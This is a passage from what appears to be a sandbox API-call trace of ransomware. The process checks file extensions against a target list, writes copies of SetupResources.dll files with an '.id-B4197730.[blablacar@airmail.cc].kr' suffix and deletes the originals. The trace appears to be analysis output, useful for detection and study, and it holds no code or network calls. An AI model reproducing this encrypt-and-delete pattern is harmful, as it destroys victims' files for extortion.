(lpString1=".doc", lpString2=".dll") returned 1 [0085.207] lstrlenW (lpString=".docx") returned 5 [0085.208] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.208] lstrlenW (lpString=".pdf") returned 4 [0085.208] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString=".xls") returned 4 [0085.208] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString=".xlsx") returned 5 [0085.208] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.208] lstrlenW (lpString=".ppt") returned 4 [0085.208] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.208] lstrlenW (lpString=".zip") returned 4 [0085.208] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString=".rar") returned 4 [0085.208] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString=".bz2") returned 4 [0085.208] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.208] lstrlenW (lpString=".7z") returned 3 [0085.208] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.208] lstrlenW (lpString=".dbf") returned 4 [0085.208] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.208] lstrlenW (lpString=".1cd") returned 4 [0085.208] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.208] lstrlenW (lpString=".jpg") returned 4 [0085.208] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.208] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.209] lstrlenW (lpString=".doc") returned 4 [0085.209] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString=".docx") returned 5 [0085.209] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.209] lstrlenW (lpString=".pdf") returned 4 [0085.209] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString=".xls") returned 4 [0085.209] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString=".xlsx") returned 5 [0085.209] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.209] lstrlenW (lpString=".ppt") returned 4 [0085.209] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.209] lstrlenW (lpString=".zip") returned 4 [0085.209] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString=".rar") returned 4 [0085.209] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.209] lstrlenW (lpString=".bz2") returned 4 [0085.209] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.209] lstrlenW (lpString=".7z") returned 3 [0085.209] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.209] lstrlenW (lpString=".dbf") returned 4 [0085.209] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.209] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.209] lstrlenW (lpString=".1cd") returned 4 [0085.210] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\SetupResources.dll") returned 45 [0085.210] lstrlenW (lpString=".jpg") returned 4 [0085.210] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.210] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0085.210] lstrlenW (lpString="SetupResources.dll") returned 18 [0085.210] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.211] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=16728) returned 1 [0085.211] CloseHandle (hObject=0x338) returned 1 [0085.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 0x80 [0085.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.211] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.212] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.212] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0085.212] GetLastError () returned 0x0 [0085.212] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4158, lpOverlapped=0x0) returned 1 [0085.215] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4160, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4160, lpOverlapped=0x0) returned 1 [0085.216] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.216] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0085.216] SetEndOfFile (hFile=0x33c) returned 1 [0085.217] CloseHandle (hObject=0x33c) returned 1 [0085.218] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.218] SetEndOfFile (hFile=0x338) returned 1 [0085.219] CloseHandle (hObject=0x338) returned 1 [0085.219] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.219] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1037\\setupresources.dll")) returned 1 [0085.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.220] lstrlenW (lpString=".doc") returned 4 [0085.220] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString=".docx") returned 5 [0085.220] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.220] lstrlenW (lpString=".pdf") returned 4 [0085.220] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString=".xls") returned 4 [0085.220] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString=".xlsx") returned 5 [0085.220] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.220] lstrlenW (lpString=".ppt") returned 4 [0085.220] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.220] lstrlenW (lpString=".zip") returned 4 [0085.220] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString=".rar") returned 4 [0085.220] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.220] lstrlenW (lpString=".bz2") returned 4 [0085.220] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.220] lstrlenW (lpString=".7z") returned 3 [0085.220] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.220] lstrlenW (lpString=".dbf") returned 4 [0085.221] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.221] lstrlenW (lpString=".1cd") returned 4 [0085.221] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.221] lstrlenW (lpString=".jpg") returned 4 [0085.221] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.221] lstrlenW (lpString=".doc") returned 4 [0085.221] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString=".docx") returned 5 [0085.221] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.221] lstrlenW (lpString=".pdf") returned 4 [0085.221] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString=".xls") returned 4 [0085.221] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString=".xlsx") returned 5 [0085.221] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.221] lstrlenW (lpString=".ppt") returned 4 [0085.221] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.221] lstrlenW (lpString=".zip") returned 4 [0085.221] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.221] lstrlenW (lpString=".rar") returned 4 [0085.221] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.222] lstrlenW (lpString=".bz2") returned 4 [0085.222] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.222] lstrlenW (lpString=".7z") returned 3 [0085.222] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.222] lstrlenW (lpString=".dbf") returned 4 [0085.222] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.222] lstrlenW (lpString=".1cd") returned 4 [0085.222] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0085.222] lstrlenW (lpString=".jpg") returned 4 [0085.222] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.222] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0085.222] lstrlenW (lpString="SetupResources.dll") returned 18 [0085.222] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.223] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18776) returned 1 [0085.223] CloseHandle (hObject=0x338) returned 1 [0085.224] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0085.224] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.224] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.224] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0085.224] GetLastError () returned 0x0 [0085.224] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4958, lpOverlapped=0x0) returned 1 [0085.226] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4960, lpOverlapped=0x0) returned 1 [0085.230] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.231] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0085.849] SetEndOfFile (hFile=0x33c) returned 1 [0085.849] CloseHandle (hObject=0x33c) returned 1 [0085.851] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.851] SetEndOfFile (hFile=0x338) returned 1 [0085.853] CloseHandle (hObject=0x338) returned 1 [0085.854] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.854] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0085.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.854] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.854] lstrlenW (lpString=".doc") returned 4 [0085.854] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.854] lstrlenW (lpString=".docx") returned 5 [0085.854] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.854] lstrlenW (lpString=".pdf") returned 4 [0085.855] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.855] lstrlenW (lpString=".xls") returned 4 [0085.855] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.855] lstrlenW (lpString=".xlsx") returned 5 [0085.855] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.855] lstrlenW (lpString=".ppt") returned 4 [0085.855] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.855] lstrlenW (lpString=".zip") returned 4 [0085.855] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.855] lstrlenW (lpString=".rar") returned 4 [0085.855] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.855] lstrlenW (lpString=".bz2") returned 4 [0085.855] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.855] lstrlenW (lpString=".7z") returned 3 [0085.855] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.855] lstrlenW (lpString=".dbf") returned 4 [0085.855] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.855] lstrlenW (lpString=".1cd") returned 4 [0085.855] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.855] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.855] lstrlenW (lpString=".jpg") returned 4 [0085.855] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.856] lstrlenW (lpString=".doc") returned 4 [0085.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString=".docx") returned 5 [0085.856] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.856] lstrlenW (lpString=".pdf") returned 4 [0085.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString=".xls") returned 4 [0085.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString=".xlsx") returned 5 [0085.856] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.856] lstrlenW (lpString=".ppt") returned 4 [0085.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.856] lstrlenW (lpString=".zip") returned 4 [0085.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString=".rar") returned 4 [0085.856] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.856] lstrlenW (lpString=".bz2") returned 4 [0085.856] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.856] lstrlenW (lpString=".7z") returned 3 [0085.856] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.856] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.856] lstrlenW (lpString=".dbf") returned 4 [0085.856] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.857] lstrlenW (lpString=".1cd") returned 4 [0085.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.857] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0085.857] lstrlenW (lpString=".jpg") returned 4 [0085.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.857] lstrcmpiW (lpString1=".dll", lpString2=".kr") returned -1 [0085.857] lstrlenW (lpString="SetupResources.dll") returned 18 [0085.857] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.858] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=18264) returned 1 [0085.858] CloseHandle (hObject=0x338) returned 1 [0085.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 0x80 [0085.858] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0085.858] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0085.858] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.859] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.859] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0085.859] GetLastError () returned 0x0 [0085.859] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x4758, lpOverlapped=0x0) returned 1 [0085.861] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x4760, lpOverlapped=0x0) returned 1 [0085.863] ReadFile (in: hFile=0x338, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0085.863] WriteFile (in: hFile=0x33c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0xf8, lpOverlapped=0x0) returned 1 [0085.863] SetEndOfFile (hFile=0x33c) returned 1 [0085.863] CloseHandle (hObject=0x33c) returned 1 [0085.865] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0085.865] SetEndOfFile (hFile=0x338) returned 1 [0085.866] CloseHandle (hObject=0x338) returned 1 [0085.866] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0085.866] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1040\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1040\\setupresources.dll")) returned 1 [0085.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.867] lstrlenW (lpString=".doc") returned 4 [0085.867] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString=".docx") returned 5 [0085.867] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.867] lstrlenW (lpString=".pdf") returned 4 [0085.867] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString=".xls") returned 4 [0085.867] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString=".xlsx") returned 5 [0085.867] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.867] lstrlenW (lpString=".ppt") returned 4 [0085.867] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.867] lstrlenW (lpString=".zip") returned 4 [0085.867] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString=".rar") returned 4 [0085.867] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0085.867] lstrlenW (lpString=".bz2") returned 4 [0085.867] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0085.867] lstrlenW (lpString=".7z") returned 3 [0085.867] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0085.867] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.867] lstrlenW (lpString=".dbf") returned 4 [0085.867] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0085.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.868] lstrlenW (lpString=".1cd") returned 4 [0085.868] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0085.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.868] lstrlenW (lpString=".jpg") returned 4 [0085.868] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0085.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.868] lstrlenW (lpString=".doc") returned 4 [0085.868] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0085.868] lstrlenW (lpString=".docx") returned 5 [0085.868] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0085.868] lstrlenW (lpString=".pdf") returned 4 [0085.868] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0085.868] lstrlenW (lpString=".xls") returned 4 [0085.868] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0085.868] lstrlenW (lpString=".xlsx") returned 5 [0085.868] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0085.868] lstrlenW (lpString=".ppt") returned 4 [0085.868] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0085.868] lstrlenW (lpString="C:\\588bce7c90097ed212\\1040\\SetupResources.dll") returned 45 [0085.868] lstrlenW (lpString=".zip") returned 4 [0085.868] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 